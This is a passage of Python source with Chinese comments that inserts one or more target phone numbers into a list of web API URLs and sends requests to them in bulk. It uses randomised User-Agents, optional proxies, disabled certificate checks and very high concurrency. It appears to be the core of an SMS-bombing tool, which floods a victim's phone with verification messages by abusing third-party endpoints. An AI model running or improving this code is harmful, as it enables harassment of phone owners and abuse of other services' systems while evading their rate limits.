isinstance(api, API): 54 | api = api.handle_api(ph) 55 | resp = req_api(api, client) 56 | print("{}-{}".format(api.desc, resp.text[:30])) 57 | else: 58 | api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '') 59 | resp = client.get(url=api, headers={'User-Agent': choice(headers)}) 60 | print("GETAPI接口-{}".format(resp.text[:30])) 61 | return True 62 | except HTTPError as e: 63 | print("请求失败{}".format(e)) 64 | return False 65 | 66 | 67 | def req_func(api: Union[API, str], phone: Union[tuple, str]) -> bool: 68 | """ 69 | 请求接口方法 70 | :param api: 71 | :param phone: 72 | :return: 73 | """ 74 | # 多手机号支持 75 | if isinstance(phone, tuple): 76 | phone_lst = [_ for _ in phone] 77 | else: 78 | phone_lst = [phone] 79 | with Client(headers={'User-Agent': choice(headers)}, verify=False) as client: 80 | for ph in phone_lst: 81 | try: 82 | if isinstance(api, API): 83 | api = api.handle_api(ph) 84 | resp = req_api(api, client) 85 | print("{}-{}".format(api.desc, resp.text[:30])) 86 | else: 87 | api = api.replace("[phone]", ph).replace(" ", "").replace('\n', '').replace('\r', '') 88 | resp = client.get(url=api, headers={'User-Agent': choice(headers)}) 89 | print("GETAPI接口-{}".format(resp.text[:30])) 90 | return True 91 | except HTTPError as e: 92 | print("请求失败{}".format(e)) 93 | return False 94 | 95 | 96 | async def run_async_by_proxy(apis: List[Union[API, str]], phone: Union[tuple, str], proxy: dict): 97 | """ 98 | 带有代理的异步请求 99 | :param apis: 100 | :param phone: 101 | :param proxy: 102 | :return: 103 | """ 104 | async def async_reqs(src: Union[API, str]): 105 | """ 106 | 异步请求方法 107 | :param src: 108 | :return: 109 | """ 110 | # 多手机号支持 111 | if isinstance(phone, tuple): 112 | phone_lst = [_ for _ in phone] 113 | else: 114 | phone_lst = [phone] 115 | async with semaphore: 116 | async with AsyncClient( 117 | limits=Limits(max_connections=1000, 118 | max_keepalive_connections=2000), 119 | headers={'User-Agent': choice(headers)}, 120 | proxies=proxy, 121 | verify=False, 122 | timeout=99999 123 | ) as c: 124 | 125 | for ph in phone_lst: 126 | try: 127 | if isinstance(src, API): 128 | src = src.handle_api(ph) 129 | r = await req_api(src, c) 130 | else: 131 | # 利用元组传参安全因为元组不可修改 132 | s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace( 133 | "&", "").replace('\n', '').replace('\r', ''),) 134 | r = await c.get(*s) 135 | return r 136 | except HTTPError as e: 137 | print("异步请求失败{}".format(type(e))) 138 | except TypeError: 139 | print("类型错误") 140 | except Exception as e: 141 | print("异步失败{}".format(e)) 142 | 143 | def callback(result): 144 | """异步回调函数""" 145 | log = result.result() 146 | if log is not None: 147 | print("请求结果:{}".format(log.text[:30])) 148 | 149 | tasks = [] 150 | 151 | for api in apis: 152 | semaphore = Semaphore(999999) 153 | task = ensure_future(async_reqs(api)) 154 | task.add_done_callback(callback) 155 | tasks.append(task) 156 | 157 | await gather( 158 | *tasks 159 | ) 160 | 161 | 162 | async def run_async(apis: List[Union[API, str]], phone: Union[tuple, str]): 163 | """ 164 | 异步请求 165 | :param apis: 166 | :param phone: 167 | :return: 168 | """ 169 | async def async_reqs(src: Union[API, str]): 170 | """ 171 | 异步请求方法 172 | :param src: 173 | :return: 174 | """ 175 | # 多手机号支持 176 | if isinstance(phone, tuple): 177 | phone_lst = [_ for _ in phone] 178 | else: 179 | phone_lst = [phone] 180 | async with semaphore: 181 | async with AsyncClient( 182 | limits=Limits(max_connections=1000, 183 | max_keepalive_connections=2000), 184 | headers={'User-Agent': choice(headers)}, 185 | verify=False, 186 | timeout=99999 187 | ) as c: 188 | 189 | for ph in phone_lst: 190 | try: 191 | if isinstance(src, API): 192 | src = src.handle_api(ph) 193 | r = await req_api(src, c) 194 | else: 195 | # 利用元组传参安全因为元组不可修改 196 | s = (src.replace(" ", "").replace("\n", "").replace("\t", "").replace( 197 | "&", "").replace('\n', '').replace('\r', ''),) 198 | r = await c.get(*s) 199 | return r 200 | except HTTPError as e: 201 | print("异步请求失败{}".format(type(e))) 202 | except TypeError: 203 | print("类型错误") 204 | except Exception as e: 205 | print("异步失败{}".format(e)) 206 | 207 | def callback(result): 208 | """异步回调函数""" 209 | log = result.result() 210 | if log is not None: 211 | print("请求结果:{}".format(log.text[:30])) 212 | 213 | tasks = [] 214 | 215 | for api in apis: 216 | semaphore = Semaphore(999999) 217 | task = ensure_future(async_reqs(api)) 218 | task.add_done_callback(callback) 219 | tasks.append(task) 220 | 221 | await gather( 222 | *tasks 223 | ) 224 | --------------------------------------------------------------------------------